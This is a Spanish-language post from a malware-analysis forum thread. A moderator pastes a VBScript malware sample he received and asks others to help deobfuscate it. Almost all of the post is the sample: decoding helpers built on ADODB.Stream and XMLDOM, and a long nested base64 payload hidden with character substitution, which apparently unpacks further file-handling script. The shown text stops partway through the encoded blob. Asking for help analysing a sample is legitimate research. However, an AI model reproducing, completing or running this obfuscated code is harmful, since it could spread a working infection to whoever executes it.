elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía rápida para descarga de herramientas gratuitas de seguridad y desinfección


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  [Malware] Muestra, Detenciones 6 / 57
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Malware] Muestra, Detenciones 6 / 57  (Leído 2,160 veces)
Shell Root
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.723


<3


Ver Perfil WWW
[Malware] Muestra, Detenciones 6 / 57
« en: 23 Agosto 2018, 19:25 pm »

Recibi este malware hoy, a ver quien ayuda a hacerlo más legible

Código
  1. Private Function co_bi_na_ry_2_str(ni, mb, uz, am, rk)
  2. Set cooler = CreateObject("ADODB.Stream")
  3. cooler.Type = 1
  4. cooler.Open
  5. cooler.Write ni
  6. cooler.Position = 0
  7. cooler.Type = 2
  8. cooler.CharSet = "us-ascii"
  9. co_bi_na_ry_2_str = cooler.ReadText
  10. Set cooler = Nothing
  11. End Function
  12.  
  13. Private Function encode_the_string64(cook, book, touch, flat)
  14. Set xml_dom = CreateObject("Microsoft.XMLDOM")
  15. Set xml_tmp = xml_dom.createElement("tmp")
  16. xml_tmp.DataType = "bin.base64"
  17. xml_tmp.Text = book
  18. encode_the_string64 = xml_tmp.NodeTypedValue
  19. End Function
  20.  
  21. Private Function zufc(hgi, television, radio, power)
  22. Dim mut_ex, the_const, main_cont, res_ult
  23. mut_ex = "@*"
  24. the_const = "A"
  25. main_cont = "Q29uc3QgVHlwZUJpbmFyeS@*9IDEKQ29uc3QgRm9yUmVhZGluZy@*9IDEsIEZvcldyaXRpbmcgPS@*yLCBGb3JBcHBlbmRpbmcgPS@*4Cm9uIGVycm9yIHJlc3VtZSBuZXh0CkRpbSBsb25nVGV4dDEKbG9uZ1RleHQxID0gIlVISnBkbUYwWlNCR2RXNWpkR2x2YmlCamIxOWlhVjl1WVY5eWVWOHlYM04wY2lodWFTd2diV0lzSUhWNkxDQmhiU3dnY21zcENpQWdVMlYwSUdOdmIyeGxjaUE5SUVOeVpXRjBaVTlpYW1WamRDZ2lRVVJQUkVJdVUzUnlaV0Z0SWlrS0lDQmpiMjlzWlhJdVZIbHdaU0E5SURFS0lDQmpiMjlzWlhJdVQzQmxiZ29nSUdOdmIyeGxjaTVYY21sMFpTQnVhUW9nSUdOdmIyeGxjaTVRYjNOcGRHbHZiaUE5SURBS0lDQmpiMjlzWlhJdVZIbHdaU0E5SURJS0lDQmpiMjlzWlhJdVEyaGhjbE5sZENBOUlDSjFjeTFoYzJOcGFTSUtJQ0JqYjE5aWFWOXVZVjl5ZVY4eVgzTjBjaUE5SUdOdmIyeGxjaTVTWldGa1ZHVjRkQW9nSUZObGRDQmpiMjlzWlhJZ1BTQk9iM1JvYVc1bkNrVnVaQ0JHZFc1amRHbHZiZ29LVUhKcGRtRjBaU0JHZFc1amRHbHZiaUJsYm1OdlpHVmZkR2hsWDNOMGNtbHVaelkwS0dOdmIyc3NJR0p2YjJzc0lIUnZkV05vTENCbWJHRjBLUW9nSUNBZ1UyVjBJSGh0YkY5a2IyMGdQU0JEY21WaGRHVlBZbXBsWTNRb0lrMXBZM0p2YzI5bWRDNVlUVXhFVD@*waUtRb2dJQ0FnVTJWMElIaHRiRjkwYlhBZ1BTQjRiV3hmWkc5dExtTnlaV0YwWlVWc1pXMWxiblFvSW5SdGNDSXBDaUFnSUNCNGJXeGZkRzF3TGtSaGRHRlVlWEJsSUQwZ0ltSnBiaTVpWVhObE5qUWlDaUFnSUNCNGJXeGZkRzF3TGxSbGVIUWdQU0JpYjI5ckNpQWdJQ0JsYm1OdlpHVmZkR2hsWDNOMGNtbHVaelkwSUQwZ2VHMXNYM1J0Y0M1T2IyUmxWSGx3WldSV1lXeDFaUXBGYm1RZ1JuVnVZM1JwYjI0S0NsQnlhWFpoZEdVZ1JuVnVZM1JwYjI0Z2VuVm1ZeWhvWjJrc0lIUmxiR1YyYVhOcGIyNHNJSEpoWkdsdkxDQndiM2RsY2lrS0lDQWdJRVJwYlNCdGRYUmZaWGdzSUhSb1pWOWpiMjV6ZEN3Z2JXRnBibDlqYjI1MExDQnlaWE5mZFd4MENpQWdJQ0J0ZFhSZlpYZ2dQU0FpUUNvaUNpQWdJQ0IwYUdWZlkyOXVjM1FnUFNBaVFTSUtJQ0FnSUcxaGFXNWZZMjl1ZENBOUlDSktlbmhpU1VoS2JGa3lPV3RhV0VsblQybENiMkl6Vm10aFZ6VndTVU5vYWt0VFFucGhNMngzV2xOQUtqWkpSMmgyWkZkU2NHSnRhM1JhYm1kbldGUTBTME5wWXpsTVZEQjBVRk13T1V4VU1HZFpNamwxV20xc2JrbEVNSFJRVXpBNVRGUXdkRkJUTURsTVZEQjBVRk13T1V4VU1IUlFVekE1VEZRd2RGQlRNRGxEWjNCdllqTk9NRWxFTUdkSmJrSjBUVzFLY0dSSFRuWmhWelIxV1RJNWRFbG5jSGRpTTBvd1NVUXdaMDVxYXpKUFVXOXVZVWM1ZW1SRFFDbzVTVU5LYldSWFVYVmFibFpyV1ROS05XTklVWFZaTWpsMFNXZHZibU5IT1hsa1EwQXFPVWxFWXpOT1JGRkxZVmMxZW1SSFJuTmlSMUp3WTJsQUtqbEpRMGxzV1ZoQ2QxcEhSakJaVTFWcFEyMTRkV0V5V25CaVIxVm5VRk5DTUdOdVZteERiWGgxWVRKYWRtSkhVbXhqYVVBcU9VbElVbmxrVjFWTFEybGpPVXhVTUhSUVV6QTVURlF3WjJOSVZtbGlSMnhxU1VoYWFHTnBRQ281VEZRd2RGQlRNRGxNVkRCMFVGTXdPVXhVTUhSUVV6QTVURlF3ZEZCVE1EbERaM0JyWVZjd1oyTXlhR3hpUjNoMldXMXZaME51VG14a1EwSjZZVWRXYzJKSE9XbGhhVUFxT1VsSVpIcFpNMHB3WTBoUmRWa3pTbXhaV0ZKc1lqSktjVnBYVGpCTFEwb3pZekpPZVdGWVFqQk1iazV2V2xkNGMwbHBhMHRhUjJ4MFNVZGFjR0pIVm5wbFdFNHdXbGN4ZGxsdGIwdGpNbFl3U1VkYWNHSkhWbnBsV0U0d1dsY3hkbGx0YjJkUVUwSnFZMjFXYUdSSFZuWlpiWEJzV1ROUmIwbHVUbXBqYld4M1pFZHNkVn@*1TlcxaFYzaHNZek5zZW1SSFZuUmlNa3B4V2xkT01FbHBhMHRhUjJ4MFNVZG9NR1JJUW5aWmJXOUxZekpXTUVsSGFEQmtTRUoyV1cxdloxQlRRbXBqYlZab1pFZFdkbGx0Y0d4Wk0xRnZTVzB4ZW1WSE1YTk5hVFUwWWxkNGIyUklVbmRKYVd0TFEyZHZibEJUTURsTVZEQjBVRk13T1VsSVFubGhXRnBvWkVOQ01sbFlTV2RRVXpBNVRGUXdkRkJUTURsTVZEQjBVRk13T1V4VU1IUlFVekE1VEZRd1MwTnRiSFZqTTFKb1lrZDRkVmxYTVd4SlJEQm5aRE5PYW1OdGJIZGtRelY2V1ROS2NHTklVblZaVnpGc1EyNU9NRmxZU2pCa1dFQXFaMUJUUW5waFIxWnpZa2M1YVdGcE5YcGpSMVpxWVZkR2MxcHRPWE5hUjFaNVkzbEFLbTlKYms0d1dWaEtNR1JZUUNwcFMxTkFLbTFKUTBwalNXZHdjR0p1VGpCWlYzaHpXa2RzZVVsRU1HZGpNbWhzWWtkNGRsbHRiM1ZhV0doM1dWYzFhMXBYTlRKaFdFcDJZbTB4YkdKdVVucGtTRXB3WW0xa2VrdEhiSFZqTTFKb1lrZDRhMkZZU1hCSlExbG5TV3gzYVVOdGJHMUpSelYyWkVOQ2JXRlhlR3hqTTJ4NlpFZFdkR0l5U25GTWJWcDJZa2RTYkdOdFZqUmhXRTR3WTNsb2NHSnVUakJaVjNoeldrZHNlVXRUUWpCaFIxWjFTVU5DY0dKdVRqQlpWM2h6V2tkc2VVbEVNR2RqTW1oc1lrZDRkbGx0YjNWYVdHaDNXVmMxYTFwWE5USmhXRX@*yWW0weGJHSnVVbnBrU0Vwd1ltMWtla3REU1d4a1IxWjBZME5WYVV0VFFDcHRTVU5LWTBsbmNIcGpSM2h3WkVkV2VVbEVNR2RKYW5kcFNVTlpaMGx1ZDJsSlExbG5TV28wYVVOdVRuTmFWMVozU1VRd1owNVVRQ3@*zVFVOQUtrdGFSMngwU1VoS2JHTXpRblppYms1c1EyMVNjR0pUUW1waVYxRkxXa2RzZEVsSVFtaGpiVVowUTIxc2RWcHRPR2RRVTBBcWFVbG5jREZqTWtwNlkwaEtiRmxYVW5CaWJXTm5VRk5BS21sSlozQjZaRWRHZVdSSFVtaGtSMVZuVUZOQUttbEpaM0JyWVZjd1oySXlOV3hpTWpWcVdsRnZTMH@*2TUhSUVV6QTVURlF3ZEZCVFFtcGlNbEpzU1VoT01GbFlTakJKUkRCMFVGTXdPVXhVTUhSUVV6QTVURlF3ZEZCVE1EbE1WREIwVUZNd09VTnRPWFZKUjFaNVkyMDVlVWxJU214ak0xWjBXbE5DZFZwWWFEQkRaMjlMWVZjMWVtUkhSblZaTWxWTFpESm9jR0pIVldka1NFb3hXbEZ2UzJGWE5YcGtSMFp6WWtBcWIwdGpiVlo2WTBjNWRXTXlWV2RRVTBBcWFVbG5jSGxhV0U1M1lqSTFlbHBUUUNvNVNVaENkbU16VVdkTFEwcHdZM2t4ZVZwWFJtdGxVMGx6U1dsSmNFTnRUblJhUTBBcU9VbElUbmRpUjJ3d1NVTm9lVnBZVG5kaU1qVjZXbE40ZW1OSGVIQmtSMVo1UzFGd2VscFhlR3haTTFGbldUSkdlbHBUUW1waVYxRm5TMFJBS25CRGJVNW9ZekpWWjBsdFZqUlpNbFpxWkZoU2JFbG5iMmRKUTBBcVowbERRbmRaV0Vwb1lsTkFLamxKUj@*1MFdrTkFLbTlOVTJ0TFNVTkFLbWRKUTBBcVoxcFlhR3haTTFZd1dsTkNkMWxZU21oaVVYQnFXVmhPYkVsRFNqRmpSMUpvWkVkVmFVTnBRQ3BuU1VOQUttZEpTRUpvWTIxR2RFbEVNR2RaTWpGclNVTm5lRXRSYjJkSlEwQXFaMGxEUW5aaWJWWjJZbTFPYkV4dFRuTmlNMDVzUTJsQUttZEpRMEFxWjBsSVRteGtRMEoyWW0xV2RtSnRUbXhKUkRCblNVZGFjR0pIVm5wbFdFNHdXbGN4ZGxsdGIzVmlNMEpzWW01U2JHVklVbTFoVjNoc1NVTm9jR0p1VGpCWlYzaHpXa2RzZVVsRFdXZGhWelY2WkVkR2MySkhOV2hpVjFWblRFUkpjMGxIV21oaVNFNXNTMUZ2WjBsRFFDcG5TVU5DZG1KdFZuWmliVTVzVEc1a2VXRllVbXhKU0VKb1kyMUdkRU5wUUNwblNVTkFLbWRKUnpsMVdsYzVkVmt5VlhWWk1uaDJZekpWUzBsRFFDcG5TVU5BS21kak1taHNZa2Q0ZGxsdGIzVmpibFoxU1VOS00yTXlUbmxoV0VJd1RHMVdORnBUUUNwMlREQkpaMGxwUUNwdFNVZE9iMk5wWjNwT1EydG5TbWxDY0dKdVRqQlpWM2h6V2tkc2VVbERXV2RoVnpWNlpFZEdjMkpITldoaVYxVm5TbWxDYW1GSVNXOU5lbEZ3UTJsQUttZEpRMEFxWjBsSVpIcFpNMHB3WTBoUmRXTllWbkJrUTBBcVMxa3lSbnBhVTBBcWFXUlhOWEJpYms0d1dWZDRjMGxuYjJkSlEwQXFaMGxEUWpGaWJXeDFZek5TYUdKSGQwdFpNa1o2V2xOQUttbGpNbFoxV2tOSlMwbERRQ3BuU1VOQUttZGFSemt6WW0xNGRsbFhVV2RaTWpGclNVTm5lRXRUZUdwaVYxRm5TMFJKY0VOdFRtaGpNbFZuU1c1T2NHUkhWWFJqTWxaMVdrTkpTMGxEUUNwblNVTkFLbWRqTW13d1dsZFNkbVF5TlhOaU1rWnJXbGhKWjFreU1XdEpRMmQ0UzFONGFtSlhVV2RMUkVsd1EyMU9hR015VldkSmJrcHNXVE5aYVVOcFFDcG5TVU5BS21kSlNFSm9ZMjFHZEVsRU1HZFpNakZyU1VObmVFdFJiMmRKUTBBcVowbERRakZqUjNoMldWZFJaMHRJUW1oamJVWjBTMUZ3YWxsWVRteEpRMEFxYVZwWE5URmlVekZyWTIxc01scFlTV2xEYVVBcVowbERRQ3BuU1VoQ2RtTXpVV2RKYld4NlRGZFdkV1JYTUhSYVNFcHdaRzFXZVVscGVHeGlibFowV2toS2NHUnRWbmxKUTBBcVMxa3lSbnBhVTBBcVowbHRWblZrVnpCMFdtMUdiVWxuYjJkSlEwQXFaMGxEUW5kWldFcG9ZbE5BS2psSlIwNTBXa05BS205TlUydExTVU5BS21kSlEwQXFaMk5IT1hwa1EwQXFhV0ZZVFhSYVZ6VXhZbE14YlZsWFdXbE1SMVoxWkZjeGJWbFhXV2RMU0VKb1kyMUdkRXRSY0dwWldFNXNTVU5BS21sYVZ6VXhZbE14ZDJOdE9XcGFXRTU2U1dkdlowbERRQ3BuU1VOQ2QySXpUakJKUTBwd1kza3hiR0p1Vm5STVdFSjVZakpPYkdNelRXbE1SMVoxWkZjeGQyTnRPV3BhV0U1NlNVTkFLbWREYlU1b1l6SlZaMGxEU21waVYxRjBZekpvYkdKSGQybERhVUFxWjBsRFFDcG5TVWhDYUdOdFJuUkpSREJuV1RJeGEwbERaM2hMVVc5blNVTkFLbWRKUTBKM1lqTk9NRWxEU25CamVURnFZbGRSZEdNeWFHeGlSM2RwVEVkT2RGcElUbTlhVjNoelNVTm9kMWxZU21oaVUydG5TVUFxY0dwWldFNXNTVU5BS21sYVIxWnpXbGhTYkVsbmIyZEpRMEFxWjBsRFFuZFpXRXBvWWxOQUtqbEpSMDUwV2tOQUttOU5VMnRMU1VOQUttZEpRMEFxWjFwSFZuTmFXRkpzV20xR2JVbERhSGRaV0Vwb1lsTnJaME50VG1oak1sVm5TVU5LYkdWSGJEQk1XRUo1WWpKT2JHTXpUV2xEYVVBcVowbERRQ3BuU1VoQ2FHTnRSblJKUkRCbldUSXhhMGxEWjNoTFVXOW5TVU5BS21kSlEwSnNaVWRzTUdOSVNuWlpNbFo2WTNsQUttOWpSMFo1V1Zjd2NFbEFLbkJxV1ZoT2JFbERRQ3BwWXpKNGJGcFlRQ3BwUTJsQUttZEpRMEFxWjBsSVFtaGpiVVowU1VRd1oxa3lNV3RKUTJkNFMxRnZaMGxEUUNwblNVTkNlbUpIVm14alEwQXFPVWxIVmpKWlYzZG5TMGhDYUdOdFJuUkxVMEFxWjBsRFFDcG5TVU5BS21kRGJWWjFXa05DZWxwWGVHeFpNMUZMUTI1a2Vsa3pTbkJqU0ZGMVl6SjRiRnBZUUNwbll6SjRiRnBZUUNwTFEyNWtiR0p0VVV0RFozQjZaRmRKWjJGWE5YcGtSMFp6WWtBcWNIWmlhVUpzWTI1S2RtTnBRbmxhV0U0eFlsZFZaMkp0VmpSa1FDcHdhMkZYTUdkaVJ6VnlZakpLY1VOdFVuQmlVMEp0WVZkNGJHSnRSblJhVVhCcllWY3daMXB0T1hOYVIxWjVZbTFHZEZwUmNHdGhWekJuV20xc2MxcFhiR3BpTWpSTFdrZHNkRWxIV25aaVIxSnNZMjFzYW1JeU5FdERibFozWXpOU2FHTnVVVXRhYlRsNVNVZFdhRmt5WjJkYVNFcHdaRzFWWjJGWE5HZGFiV3h6V2xoT05XTXpVbXhpVnpscFlXazFhMk50YkRKYVdFMUxRMjFzYlVsRFFtdGpiV3d5V2xNMWNHTXpTbXhaVjFJMVNVUXdaMlJJU2pGYVUwSXdZVWRXZFVOdGJHMUpRMEpyWTIxc01scFROVzFqYlZac1l6TkNhRmt5VldkSlJEUm5UVU5DTUdGSFZuVkRiV3h0U1VOQ2EyTnRiREphVXpWclkyMXNNbHBZVWpWalIxVm5TVVF3Wj@*xVFFqQmhSMVoxUTJsQUttZEpRMEp0WVZkNGJHTXpiSHBrUjFaMFlqSktjVXh0VG5aalNHeHRZVmQ0YkVsSVpIcFpNMHB3WTBoUmRXTXlUbmxoV0VJd1dtNVdjMkpITldoaVYxVm5URU5DYTJOdGJESmFVelYzV1ZoU2IwbERXV2RKYkhkcFNVTlpaMkZYTlhwa1IwWnpZa2MxYUdKWFZYTmtTRW94V2xGdlowbERRQ3BuWVZkWlowbEhXbkJpUjFaNlpWaE9NRnBYTVhaWmJXOTFXbTFzYzFwWFZqUmhXRTR3WTNsQUttOWFTRXB3WkcxVmRXTkhSakJoUTBBcWJVbERTbU5KYVVBcWJVbEhiSFZqTTFKb1lrZDRkVmxYTVd4TFUwQXFaMlJIYUd4aVoyOW5TVU5BS21kSlEwQXFaMGxIV25CaVIxWjZaVmhPTUZwWE1YWlpiVzkxV2pKV01GcHRiSE5hVTJoclkyMXNNbHBUTlhkWldGSnZTVU5aWjBsc2QybEpRMEFxYlVsSGJIVmpNMUpvWWtkNGRWbFhNV3hMVXpWb1pFaFNlV0ZYU2pGa1IxWjZTVVF3Wj@*xcGN6QkRhVUFxWjBsRFFteGliVkZuWVZkWlMwbERRQ3BuU1VkYWRtTnBRbXhaVj@*1dlNVZGFjR0pIVldkaFZ6Um5XbTFzYzFwWVRqVmpNMUpzWWxjNWFXRnBOVzVhV0ZKdFlqSjRhMXBZU1c5SlIxSjVZVmhhYkV4dVFtaGtSMmRuU21sQUttbFlRMGxuUzFNMVIyRlhlR3hqZDI5blNVTkFLbWRKUTBBcVowbEhiRzFKUnpWMlpFTkNjMkp0ZEcxaFYzaHNTVWhTYjFwWE5HZGFXR2h3WkVOQ2JXSXpTVXRKUTBBcVowbERRQ3BuU1VOQ2NGcHBRQ3BuWVZjMWVtUklTV2RMUjFwd1lrZFZkV0p0Um5SYVUzZHBUR2xKY0VsSVVtOWFWelJMU1VOQUttZEpRMEFxWjBsRFFDcG5TVU5BS21kaFYxbG5TVWQ0YWxsWVRteEpRMmg2WTBkNGNHUkRhRzFoVjNoc1RHMDFhR0pYVlhOSlEwbDFTV2xyWjB0SVZtbGlNMVoxV2tOb2VtTkhlSEJrUTJodFlWZDRiRXh0TldoaVYxVnpTVU5KZFVscGEzQkxVMnRuVUVRMFowbHRlSFZoZVVsblpFZG9iR0puYjJkSlEwQXFaMGxEUUNwblNVTkFLbWRKUTBBcVowbERRQ3BuV20xc2MxcFROV2hrU0ZKNVlWZEtNV1JIVm5wSlJEQm5UV2x6TUVOcFFDcG5TVU5BS21kSlEwQXFaMGxEUUNwblNVTkFLbWRKUTBKd1dtbEFLbWRrVj@*1b1l6SlZaMHRIV25CaVIxVjFZbTFHZEZwVGEyZFFSRFJuWkZkT2FHTXlWV2RMUjJ4MVl6TlNhR0pIZUhWWlZ6RnNTMU5DTUdGSFZuVkRhVUFxWjBsRFFDcG5TVU5BS21kSlEwQXFaMGxEUUNwblNVTkFLbWRKUTBBcVoxcHRiSE5hVnpWb1lsZFZaMUJUUW5walIzaHdaRU5vYldGWGVHeE1iVFZvWWxkVmMwbHBOR2xMVVc5blNVTkFLbWRKUTBBcVowbERRQ3BuU1VOQUttZEpRMEFxWjBsRFFDcG5TVWhPYkdSRFFuTmliWFIyV1cxdloxQlRRbnBoUjFaellrYzVhV0ZwTldwamJWWm9aRWRXZW1GSE9YbGtSMDR4WkVOQUttOWFTRXB3WkcxVmRXTkhSakJoUTBBcWJVbERTbU5KYVVBcVowcHBRbTFoVjNoc1ltMUdkRnBUUUNwdlRVTnJaMHBwUUNwcFRHMTRkV0Y1U1hCSlFDcHZaMGxEUUNwblNVTkFLbWRKUTBBcVowbERRQ3BuU1VOQUttZEpRMEFxWjBsSGVIVmhNamxwWVdrMU0yRlhOV3RpTTJSNlpFaHNjMXBUUUNvNVNVUmpTMGxEUUNwblNVTkFLbWRKUTBBcVowbERRQ3BuU1VOQUttZEpRMEFxWjBsRFFuTmliWFIyV1cxdmRXUkhSbmxhTWxZd1kwZEdNR0ZEUUNvNVNVTkthbUpYVVhWYVdHaHNTV2R2WjBsRFFDcG5TVU5BS21kSlEwQXFaMGxEUUNwblNVTkFLbWRKUTBBcVowbEhlSFZoTWpscFlXazFNMkl6U25KaFZ6VnVXa2RzZVZwWFRqQmlNMG8xU1VRd1owbHBTVXRKUTBBcVowbERRQ3BuU1VOQUttZEpRMEFxWjBsRFFDcG5TVU5BS21kSlEwSnpZbTEwZGxsdGIzVlpXRXB1WkZjeGJHSnVVbnBKUkRCblNXazVha2xJVGpCWldFb3dTVU5KWjBwcFFubGFXRUp6V1ZkT2JFdEhiSFZqTTFKb1lrZDRkVmxYTVd4TVEwbG5TV2wzWjFreWFIbGtlV2Q2VGtOclowcHBRQ3BwU1VOSlowcHBRbXBoU0VvelMwUk5NRXRUYTJkS2FVQXFhVXB1VGpCWldFb3dTVU5KWjBwcFFubGFXRUp6V1ZkT2JFdEhXbkJpUjFWMVltMUdkRnBUZDJsSlEwbHpTVWRPYjJOdVkyOU5lbEZ3U1VOWlowbHBRQ3BwU1VOWloxa3lhSGxrZVdkNlRrTnJjRWxEV1dsS2JWWTBZVmhSYVVOcFFDcG5TVU5BS21kSlEwQXFaMGxEUUNwblNVTkFLbWRKUTBBcVowbERRQ3BuV20xc2MxcFhiR3BpTWpSblVGTkNlbUZIVm5OaVJ6bHBZV2sxZVZwWFpIbGFWMFpyU1VObmFWTkZkRVpYVmpsTlZEQk9RbFJHT1U1UlZVNUpVMVUxUmxoSVRuWmFibEl6V1ZoS2JGaEhUbk5aV0U1NldsaE9ZMGxwUUNwdFNVaE9iMXBYZUhOaU1rcHhURzVLYkZvelNteFpWMUZuUzBOS1NWTXdWbHBZTUhoUVVUQkdUVmd3TVVKUk1HaEtWR3RXWTJNeU9XMWtTR1JvWTIxV1kxa3llR2hqTT@*1c1l6RjNkVWxwUUNwdFNVaE9kMkpIYkRCTFIxcHdZa2RWZFdKdFJuUmFVM2RuU1drMGFVdFRhREZaYlRreFltMVJiMk16UW5OaFdGRnZXbTFzYzFwVE5YVlpWekZzVEVOQUttbE1hVWx3UzFOcmJVbERTbU5KYVd0blNtbEFLbWxZUjFKc1dtMUdNV0pJVW5CWk1qbDFXRU5KY0VsQUttOW5TVU5BS21kSlEwQXFaMGxEUUNwblNVTkFLbWRKUTBBcVowbERRQ3BuU1Vkc2JVbERRbkJpYms0d1kybEFLbTlhYld4eldsZHNhbUl5TkhOSmFYZHBTMU5BS2psSlJFQXFaMlJIYUd4aVoyOW5TVU5BS21kSlEwQXFaMGxEUUNwblNVTkFLbWRKUTBBcVowbERRQ3BuU1VOQUttZEpRMEp6WW0xMGRsbHRiM1ZoVj@*1MlltMTRkbGt5UmpCaFZ6bDFTVVF3WjFwdGJITmFVelYzV1ZoU2IwTnBRQ3BuU1VOQUttZEpRMEFxWjBsRFFDcG5TVU5BS21kSlEwQXFaMGxEUUNwbldsZDRlbHBUUUNwTFNVTkFLbWRKUTBBcVowbERRQ3BuU1VOQUttZEpRMEFxWjBsRFFDcG5TVU5BS21kSlEwQXFaMkpITlhKaU1rcHhURzFzYW1JeU5YTmlNazVvWkVkc2RtSnBRQ281U1VkYWNHSkhWbkJaTWpsMVEybEFLbWRKUTBBcVowbERRQ3BuU1VOQUttZEpRMEFxWjBsRFFDcG5TVU5BS21kYVZ6VnJTVWRzYlVOcFFDcG5TVU5BS21kSlEwQXFaMGxEUUNwblNVTkFLbWRKUTBBcVowbERRQ3BuWWtjMWNtSXlTbkZNYms1b1pHMVZiMHRSYjJkSlEwQXFaMGxEUUNwblNVTkFLbWRKUTBBcVowbERRQ3BuV2xjMWEwbEhiRzFEYVVBcVowbERRQ3BuU1VOQUttZEpRMEFxWjBsSFZuVmFRMEp3V21kdlowbERRQ3BuU1VOQUttZEpSMVoxV2tOQ2NGcG5iMmRKUTBBcVoySnRWalJrUUNwdlowbERRQ3BuV20wNWVVbEhWbWhaTW1kbldtMDVjMXBIVm5sSlIyeDFTVWRhY0dKSFZucGxXRTR3V2xjeGRsbHRiM1ZhTWxZd1dtMDVjMXBIVm5sTFEwSnJZMjFzTWxwVE5YZFpXRkp2U1VOWlowbHNkMmxKUTJ0MVl6TldhVnB0T1hOYVIxWjVZM2R2WjBsRFFDcG5TVU5BS21kSlIyeHRTVWMxZG1SRFFuTmliWFJ0WWpKNGExcFlTV2RrUjJoc1ltbENiR1ZIYkRCSlIxcDJZMmR2WjBsRFFDcG5TVU5BS21kSlIxcDJZa2RTYkdOcE5XaGtTRko1WVZkS01XUkhWbnBKUkRCblRXbHpNRU5wUUNwblNVTkFLbWRKUTBBcVoxcHRPWE5hUjFaNVltMUdkRnBUUUNvNVNVZGFkbUpIVW14amFUVjFXVmN4YkVOcFFDcG5TVU5BS21kSlEwQXFaMk15VmpCSlIzaDFZVEk1YVdGcFFDbzVTVWhPYjFwWGVITmlNa3B4VEcxT2VWcFhSakJhV0U1dllqTktNRmt6VmpCSlEyaHJZMjFzTWxwVE5YZFpXRkp2U1VOWlowbHNkMmxKUTBBcWJVbEhXblppUjFKc1kyMDFhR0pYVldkS2FVQXFhVXh0ZUhWaGVVbHdTVUFxYjJkSlEwQXFaMGxEUUNwblNVZDRkV0V5T1dsaGFUVXpZVmMxYTJJelpIcGtTR3h6V2xOQUtqbEpSR05MU1VOQUttZEpRMEFxWjBsRFFuTmliWFIyV1cxdmRXUkhSbmxhTWxZd1kwZEdNR0ZEUUNvNVNVTkthbUpYVVhWYVdHaHNTV2R2WjBsRFFDcG5TVU5BS21kSlIzaDFZVEk1YVdGcE5UTmlNMHB5WVZjMWJscEhiSGxhVj@*0d1lqTktOVWxFTUdkSmFVbExTVU5BS21kSlEwQXFaMGxEUW5OaWJYUjJXVzF2ZFZsWVNtNWtWekZzWW01U2VrbEVNR2RKYVRscVNVaE9NRmxZU2pCSlEwbG5TbWxDZVZwWVFuTlpWMDVzUzBkc2RXTXpVbWhpUjNoMVdWY3hiRXhEU1dkSmFYZG5XVEpvZVdSNVozcE9RMnRuU21sQUttbEpRMGxuU21sQ2FtRklTak5MUkUwd1MxTnJaMHBwUUNwcFNtNU9NRmxZU2pCSlIxWTBZMGQ0ZG1OdFZubEpRMGxuU21sQ2VWcFlRbk5aVj@*1c1MwZGFkbUpIVW14amFUVjFXVmN4YkV4RFNXZEphWGRuV1RKb2VXUjVaM3BPUTJ0blNtbEFLbWxKUTBsblNtbENhbUZJU2pOTFJFMHdTMU5yWjBwcFNXMWFXR2h3WkVOSlMwbERRQ3BuU1VOQUttZEpRMEp0WWpKNGExcFlTbkJaTWpsMVNVUXdaMk15YUd4aVIzaDJXVzF2ZFdOdFZtNWpiVlpvV2tOQUttOUphMmhNVWxac1psUkZPVVJSVlhobVZGVkdSRk5GYkU5U1ZuaDZZakphTUdReVJubGFWbmhxWWtkR2VtTXlWbnBZUjFwMllrZFNiR05zZUd0YVYxcG9aRmQ0TUdGWFRuWmliSGRwUzFOQUtrdEpRMEFxWjBsRFFDcG5TVU5DY0ZwcFFDcG5ZVmMxZW1SSVNXZExSMX@*yWWtkU2JHTnRiR3BpTWpSelNXbDNhVXRUUUNvNVNVUkFLbWRrUjJoc1ltZHZaMGxEUUNwblNVTkFLbWRKUTBBcVowbERRbk5pYlhSMldXMXZkV0ZYVG5aaWJYaDJXVEpHTUdGWE9YVkpSREJuV20wNWMxcEhWbmxNYmtKb1pFZG5TMGxEUUNwblNVTkFLbWRKUTBKc1lraE9iRWxBS205blNVTkFLbWRKUTBBcVowbERRQ3BuU1VOQ2MySnRkSFpaYlc5MVlWZE9kbUp0ZUhaWk1rWXdZVmM1ZFVsRU1HZGFiVGx6V2tkV2VXRlhUblppWjI5blNVTkFLbWRKUTBBcVowbEhWblZhUTBKd1dtZHZaMGxEUUNwblNVTkFLbWRKUjNoMVlUSTVhV0ZwTlhwWldGcHNTME5yUzBsRFFDcG5TVWMxYkdWSVVVdGFWelZyU1VWc2JVTnRWblZhUTBKS1dtZHdiR0p0VVdkaFYxbExZbTFXTkdSQUtuQnNZMjVKZFZreWVHeFpXRWxMV2xjMWEwbElUakZaWjI5TFl6TldhVWxJVm5WaFZ6VjZaRWRHYzJKQUtuQjJZbWxDYkdOdVNuWmphVUo1V2xoT01XSlhWV2RpYlZZMFpFQXFjR3RoVnpCbldtMXNjMXBYTldoaVYxVkxXa2RzZEVsSFduWmlSMUpzWTIwMWFHSlhWVXREYms1dldsZDRjMkl5U25GTWJrcHNXakpTYkdKSFZqQmFVMEFxYVZORmRFWlhWamxFVmxaS1UxSlZOVlZZTVZaVVVsWktZMk15T1cxa1NHUm9ZMjFXWTJKWGJHcGpiVGw2WWpKYU1GaElaSEJpYlZKMlpETk9ZMWt6Vm5samJWWjFaRWhhYkdOdVRuQmlNalZqWTI1V2RWaERTV2RLYVVKNlkwZDRjR1JEUUNwdllWYzFlbVJIUm5OaVJ6Vm9ZbGRWYzBscE5HbExVMmQzUzFGd2VtRkhWbk5pUnpscFlXazFlVnBYWkd0YVYzaHNaRWRWWjBscmFFeFNWbXhtVkVVNVJGRlZlR1pVVlVaRVUwVnNUMUpXZUhwaU1sb3daREpHZVZwV2VIUmhWMDU1WWpOT2RscHVVbU5rTW14MVdrYzVNMk14ZUdwa1dFcDVXbGMxTUdSdFZubGpNbXgyWW14NGVXUlhOV05KYVVBcWJVbElUbmRpUjJ3d1NVTm9jR0p1VGpCWlYzaHpZbTFHZEZwVGQybE1hVWx3UzBSQUtuQkRiVnB3WWtkV2VtVllUakJhVnpGMldXMXZkVnBIVm5OYVdGSnNXbTFzYzFwVFFucGtSMFo1WkVoV2QwbERXV2RoVnpWNlpFZEdjMkpITldoaVYxVm5URWhTZVdSWFZVdGFiV3h6V2xoT05XTXpVbXhpVnpscFlXazFhMXBYZUd4a1IxWnRZVmQ0YkVsSVpIc